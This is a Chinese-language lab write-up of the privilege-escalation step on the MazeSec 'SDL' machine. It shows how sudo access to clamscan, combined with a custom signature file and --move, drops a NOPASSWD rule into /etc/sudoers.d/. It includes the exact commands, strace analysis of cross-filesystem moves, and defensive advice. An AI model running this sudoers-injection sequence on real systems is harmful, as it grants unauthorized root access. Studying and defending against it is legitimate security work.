MazeSec靶机SDL提权部分复盘:探究Linux跨分区移动底层逻辑
字数 2210
更新时间 2026-05-10 17:25:44
Linux 下 ClamAV 提权原理与实战教学:利用 --move 跨分区写入实现 sudo 提权
本文基于 MazeSec 靶机 SDL 提权场景,系统性讲解 ClamAV(clamscan) 在 sudo 白名单配置不当情况下的提权利用方法,重点剖析 Linux 跨分区文件移动底层逻辑,并通过 strace 调试揭示同分区与跨分区移动的本质差异。
一、背景与靶机信息
1.1 靶机环境
- 靶机名称:SDL(MazeSec 原创靶机)
- 作者:ll104567
- 提权考点:
- sudo 白名单配置不当
clamscan命令--move参数可被滥用为任意文件写入- 结合 Linux 跨分区移动特性实现提权
1.2 初始环境
已获取普通用户 sublarge 权限,并获得如下 sudo 权限:
User sublarge may run the following commands on SDL:
(ALL : ALL) NOPASSWD: /usr/bin/clamscan
这意味着 sublarge 用户可免密以 root 权限执行 clamscan。
二、ClamAV 与病毒库规则基础
2.1 ClamAV 简介
ClamAV 是一款开源、跨平台的杀毒引擎,核心组件为命令行工具 clamscan,常用于服务器环境。管理员常将其下放给普通用户用于扫描文件,因此 sudo 权限配置较为常见。
2.2 关键参数说明(提权利用点)
| 参数 | 作用 |
|---|---|
-d FILE/DIR |
加载自定义病毒特征库 |
--move=DIRECTORY |
将“感染文件”移动到指定目录 |
本次提权利用这两个参数实现:
- 使用自定义特征库精准匹配恶意文件
- 强制将文件移动到
/etc/sudoers.d/目录
三、ClamAV 支持的自定义规则类型
3.1 ndb 特征规则(本次使用)
- 基础字符串匹配规则
- 格式:
病毒名:优先级:偏移量:特征值
示例(十六进制):
echo "Exploit:0:0:7375626c6172676520414c4c3d28414c" > /tmp/evil.ndb
对应明文字符串:
sublarge ALL=(ALL) NOPASSWD: ALL
3.2 hdb 哈希规则
- 基于 MD5/SHA1/SHA256 的完整文件匹配
- 格式:
哈希值:文件大小:病毒名
3.3 ldb 逻辑规则
- 多条件组合匹配
- 支持逻辑运算符(AND / OR / NOT)
3.4 YARA 兼容规则
- 原生支持 YARA 规则
- 适合跨工具复用
选择 ndb 的原因:
- 编写简单
- 精准匹配 sudo 提权字符串
- 无需复杂逻辑
四、提权场景一:/tmp 目录(跨分区·成功)
4.1 构造恶意文件与特征库
echo "sublarge ALL=(ALL) NOPASSWD: ALL" > /tmp/x
echo "Exploit:0:0:7375626c6172676520414c4c3d28414c" > /tmp/evil.ndb
4.2 执行 clamscan
sudo /usr/bin/clamscan -d /tmp/evil.ndb --move=/etc/sudoers.d/ /tmp/x
4.3 日志关键输出
Invalid cross-device link
traverse_rename: Failed to rename
/tmp/x: moved to '/etc/sudoers.d/x'
4.4 提权验证
sudo -l
# 输出包含:
(ALL) NOPASSWD: ALL
sudo su
# 成功获取 root
4.5 文件权限分析
ls -la /etc/sudoers.d/x
-rw------- 1 root root 33 Apr 25 23:00 x
- 属主:root
- 权限:600
- sudo 正常加载规则
✅ 提权成功原因:跨分区移动触发复制重建,文件由 root 进程创建。
五、提权场景二:/home 目录(同分区·失败)
5.1 构造文件
echo "sublarge ALL=(ALL) NOPASSWD: ALL" > /home/sublarge/a
echo "Exploit:0:0:7375626c6172676520414c4c3d28414c" > /home/sublarge/evil.ndb
5.2 执行移动
sudo /usr/bin/clamscan -d /home/sublarge/evil.ndb --move=/etc/sudoers.d/ /home/sublarge/a
5.3 日志差异
/home/sublarge/a: moved to '/etc/sudoers.d/a'
⚠️ 无 Invalid cross-device link 错误
5.4 sudo 报错
sudo: is owned by uid 1000, should be 0
5.5 文件权限
-rw-rw-r-- 1 sublarge sublarge 33 Apr 25 23:02 a
❌ 提权失败原因:
- 同分区移动仅修改路径
- 文件属主仍为普通用户
- sudo 强制校验:sudoers.d 下文件必须为 root 所有
六、strace 调试:底层机制对比
6.1 实验准备
ls -ni /tmp/payload_x
ls -ni /home/sublarge/payload_a
6.2 跨分区(/tmp → /etc)
sudo strace -e trace=rename,renameat,openat,unlink,chmod \
/usr/bin/clamscan -d /tmp/evil.ndb --move=/etc/sudoers.d/ /tmp/payload_x
关键系统调用:
rename()→ 返回EXDEVopenat()→ 新建文件(权限 600)- 写入内容
unlink()→ 删除原文件
📌 inode 发生变化 → 新文件
6.3 同分区(/home → /etc)
sudo strace -e trace=rename,renameat,openat,unlink \
/usr/bin/clamscan -d /tmp/evil.ndb --move=/etc/sudoers.d/ /home/sublarge/payload_a
关键系统调用:
renameat()→ 成功
📌 inode 保持不变 → 文件本体未改变
七、核心结论:Linux 文件移动的本质
| 场景 | 移动方式 | inode | 属主 | 结果 |
|---|---|---|---|---|
| /tmp → /etc | 复制 + 重建 | 新 | root | ✅ 提权成功 |
| /home → /etc | rename 原子移动 | 不变 | 普通用户 | ❌ sudo 拦截 |
关键知识点
- 同分区移动:仅修改目录项,不改变文件元数据
- 跨分区移动:必须复制内容并新建文件
- root 进程创建的文件:自然归属 root
- sudoers.d 安全限制:文件必须属于 UID 0
八、Linux 文件写入提权的四种模式总结
| 模式 | 行为 | 权限变化 | 适用场景 |
|---|---|---|---|
| cp 覆盖 | 仅改内容 | 保留原权限 | 权限占位 |
| mv 移动 | 跨分区重建 | 变为 root | 本例 |
| touch 新建 | 从头创建 | 继承进程权限 | 空白文件 |
| 追加写入 | 尾部追加 | 保留原权限 | 注入规则 |
九、防御建议(运维视角)
- 最小化 sudo 权限
- 禁止普通用户执行
clamscan
- 禁止普通用户执行
- 限制
--move目标路径 - 监控 /etc/sudoers.d/
- 文件属主必须是 root
- 理解 tmpfs 与跨分区风险
/tmp常为独立文件系统
十、总结
本次提权并非依赖复杂漏洞,而是利用:
- Linux 文件系统底层行为
- ClamAV 功能特性
- sudo 配置疏漏
真正的安全,往往藏在“看起来很正常”的系统机制里。
相似文章
相似文章